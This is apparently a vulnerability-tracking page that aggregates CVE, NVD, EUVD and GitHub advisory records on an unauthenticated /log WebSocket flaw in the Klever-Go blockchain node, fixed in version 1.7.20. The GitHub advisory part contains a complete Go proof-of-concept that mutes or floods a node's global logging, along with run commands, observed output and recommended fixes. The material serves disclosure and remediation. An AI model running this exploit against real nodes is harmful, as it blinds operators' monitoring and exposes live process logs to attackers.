Klever-Go: /log controls global node logging

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.

Source published

23 Sep 2026 19:12:51 UTC

Source modified

23 Sep 2026 19:29:31 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.

Source published

Sep 23, 2026, 7:12:51 PM (timezone not stated)

Source modified

Sep 23, 2026, 7:29:31 PM (timezone not stated)

Observed here

11 Nov 2026 17:02:10 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.

Source published

23 Sep 2026 20:17:19 UTC

Source modified

23 Sep 2026 20:17:20 UTC

Observed here

25 Oct 2026 16:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

An unauthenticated client can connect to `GET /log`, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to `*:NONE`, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open. This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint. ## Vulnerability details ### Affected code - Route exposed by default in `config/node/api.yaml` - Route registration in `network/api/api.go` - Unauthenticated upgrade in `network/api/api.go` - First client message is parsed as a logger profile and applied globally in `network/api/logs/logSender.go` - Global logger mutation happens in dependency `github.com/klever-io/klever-go-logger`, `profile.go`, `Apply()` ### Root cause `/log` is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger `Profile`. That profile is then applied process-wide through `profile.Apply()`, which changes global log level patterns and output formatting options for the whole node. After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process. ## Reproduction steps ### Environment - Validator built from the repository at commit `9640d63265e910e166dfa694c8e5ddeb53018ffd` - REST API bound locally for validation - Tested on 2026-05-30 ### Step 1: Build and run a local validator from source ```bash cd <repo-root> go build -o ./bin/validator ./cmd/node ./bin/validator \ --rest-api-interface=127.0.0.1:18080 \ --port=18083 \ --config=./config/node/config.yaml \ --config-api=./config/node/api.yaml \ --config-epochs=./config/node/enableEpochs.yaml \ --config-gas-schedule=./config/node/gasScheduleV1.yaml \ --config-external=./config/node/external.yaml \ --genesis-file=./config/node/genesis.json \ --nodes-setup-file=./config/node/nodesSetup.json \ --working-directory=./validator-report-run \ --use-log-view ``` The node exposes `GET /log` and a plain HTTP request already shows it is a live WebSocket endpoint: ```bash curl -i http://127.0.0.1:18080/log ``` Observed response: ```http HTTP/1.1 400 Bad Request Sec-Websocket-Version: 13 ``` ### Step 2: Confirm normal node logging before the attack Before the attack, the validator emits periodic slot logs such as: ```text #################################### SLOT 14 BEGINS #################################### #################################### SLOT 15 BEGINS #################################### ``` ### Step 3: Connect to `/log` without authentication and apply a global mute profile Run the PoC file: ```bash cd <repo-root> go run ./poc-log-profile-control.go \ -url ws://127.0.0.1:18080/log \ -profile none \ -hold 12s ``` Full PoC source: ```go package main import ( "flag" "fmt" "log" "time" "github.com/gorilla/websocket" ) func main() { url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint") profile := flag.String("profile", "none", "Profile to send: none or trace") hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open") flag.Parse() payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}` switch *profile { case "trace": payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}` case "none": default: log.Fatalf("unsupported profile %q", *profile) } c, _, err := websocket.DefaultDialer.Dial(*url, nil) if err != nil { log.Fatalf("dial: %v", err) } defer c.Close() fmt.Printf("connected to %s\n", *url) fmt.Printf("sending payload: %s\n", payload) if err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil { log.Fatalf("write payload: %v", err) } fmt.Printf("holding connection open for %s\n", hold.String()) time.Sleep(*hold) fmt.Println("closing connection") } ``` Save the PoC as `poc-log-profile-control.go` in the repository root, or run it from any directory with access to the Go module cache. ### Step 4: Observe the validator accepts and applies the unauthenticated profile While the PoC is connected, the validator prints: ```text websocket log profile received profile = [pattern=*:NONE, with correlation=false, with logger name=false] ``` ### Step 5: Observe logging is suppressed while the attacker connection remains open In my local reproduction, the validator emitted: ```text SLOT 14 BEGINS websocket log profile received profile = [pattern=*:NONE, ...] reverted log profile profile = [pattern=*:INFO, ...] SLOT 18 BEGINS ``` The expected slot logs for the interval while `*:NONE` was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected. ### Step 6: Observe the profile is restored only after the attacker disconnects After the PoC closes the WebSocket, the validator prints: ```text reverted log profile profile = [pattern=*:INFO, with correlation=false, with logger name=false] ``` The revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active. ## Impact An unauthenticated attacker can: - read live process logs over `/log` - mute node logging completely with `*:NONE` - increase verbosity to `*:TRACE` and force noisy logging - toggle correlation and logger-name settings process-wide This affects both confidentiality and operational integrity. In the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active. This issue is distinct from: - `GHSA-jc6w-wmfc-fh33` (KVM read-only execution side effects) - `GHSA-87m7-qffr-542v` (MultiDataInterceptor remote OOM) - `GHSA-74m6-4hjp-7226` (MultiDataInterceptor throttler slot leak) Those are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint. ## Recommended fix ### Immediate - Remove `/log` from the default `open: true` route set. - Require authentication before upgrading the WebSocket. - Reject unauthenticated clients before any profile message is processed. ### Short term - Do not apply client-provided logger profiles to the process-global logger. - If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings. - Enforce origin checks and, if possible, bind `/log` to localhost-only or a dedicated admin interface. ### Long term - Separate log streaming from global logger configuration. - Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.

Source published

23 Sep 2026 19:13:46 UTC

Source modified

1 Oct 2026 20:56:03 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Publisher rating · HIGH

Klever-Go: /log controls global node logging in github.com/klever-io/klever-go

Source published

1 Oct 2026 20:23:38 UTC

Source modified

1 Oct 2026 20:45:14 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.